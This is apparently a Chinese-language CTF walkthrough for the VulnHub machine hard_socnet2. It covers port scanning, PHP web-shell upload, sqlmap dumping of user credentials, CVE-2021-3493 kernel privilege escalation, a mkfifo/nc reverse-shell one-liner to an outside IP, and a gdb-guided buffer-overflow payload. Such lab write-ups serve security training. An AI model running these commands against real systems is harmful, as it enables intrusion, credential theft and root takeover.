hard_socnet2靶机之SQL注入、文件上传利用、CVE-2021-3493、缓冲区溢出、逆向工程

靶机地址: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

难度等级: 高

打靶目标: 取得 root 权限

参考链接:

xmlrpc --- XMLRPC 服务端与客户端模块 — Python 3.11.3 文档

涉及攻击方法:

主机发现

端口扫描

SQL注入

文件上传

CVE-2021-3493

XMLRPC

逆向工程

动态调试

缓冲区溢出

漏洞利用代码编写

一、主机发现

扫面本地所有IP

arp-scan -l

二、端口扫描

nmap -p22,80,8000 -sV 172.20.10.4

端口访问

不支持GET方法

用burp suit更改请求方法

首先使用OPTIONS方法,依旧不支持;POST、PUT、DELETE等均不支持。

无果。

访问80端口

发现有注册页面,进行注册

密码:123456

三、文件上传

后台发现上传头像功能,上传shell.php,连接成功

www-data权限

四、SQL注入

发现网站存在sql注入

POST注入

sqlmap -r 1.txt -p query

-r 指定请求包

-p 指定参数

查看数据库名

sqlmap -r 1.txt -p query --dbs

查看表名

sqlmap -r 1.txt -p query -D socialnetwork --tables

查看列和字段

sqlmap -r 1.txt -p query -D socialnetwork -T users --columns

获取具体字段相关信息

sqlmap -r 1.txt -p query -D socialnetwork -T users -C user_password,user_email --dump

需要用sqlmap的字典进行暴力破解用户名密码

通过sql注入获取的账号密码登录管理员后台

五、CVE-2021-3493

通过蚁剑尝试提权

1、查看内核版本

lsb_release -a

利用CVE-2021-3493内核漏洞提权

将exp利用蚁剑上传至目标服务器的当前目录

对exp进行编译

gcc -o exp exploit.c

给exp赋予执行权限

chmod +x exp

执行exp

利用nc之mkfifo反弹shell提权

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.20.10.5 3333 >/tmp/f

shell升级之交互式shell

python -c "import pty; pty.spawn('/bin/bash')"

再次执行exp

此靶机为2020年发出,此提权exp为2021的exp

按照2020年的思路再次提权

查看用户

进入socnet用户家目录

查看文件

发现monitor.py文件(在web已知此文件正在运行)

查看进程发现已经运行

ps aux | grep monitor.py

查看源码

六、缓冲区溢出

gdb对程序进行调试

系统主程序执行vuln(vuln函数有漏洞)函数,vuln加载backdoor函数,backdoor调用系统suid和system

gdb -q .\程序名                                         启动程序

r                                                                让程序run起来

pattern create 100                                    生成100个特殊字符

pattern search                                          查询偏移的字符 #(偏移到EIP)

disas main                                                加载系统的主程序 #@plt 内建函数

break 0*0x08048676                                下断点

del 1                                                          删除第一个断点

s                                                                向下执行,每次只执行一个

info func                                                    查看函数信息

disas                                                         函数名 查看某个函数的信息

                                                                #数据在CUP是倒着存储的

python -c "import struct; print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload                                                    #生成payload

#在对方服务器生成paylaod,0x08048676是backdoor的起始编号

gdb -q .\程序名                                         启动程序

r < payload                                               让程序运行payload

cat payload - | ./add_record                      让paylaod内容给add_record运行

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值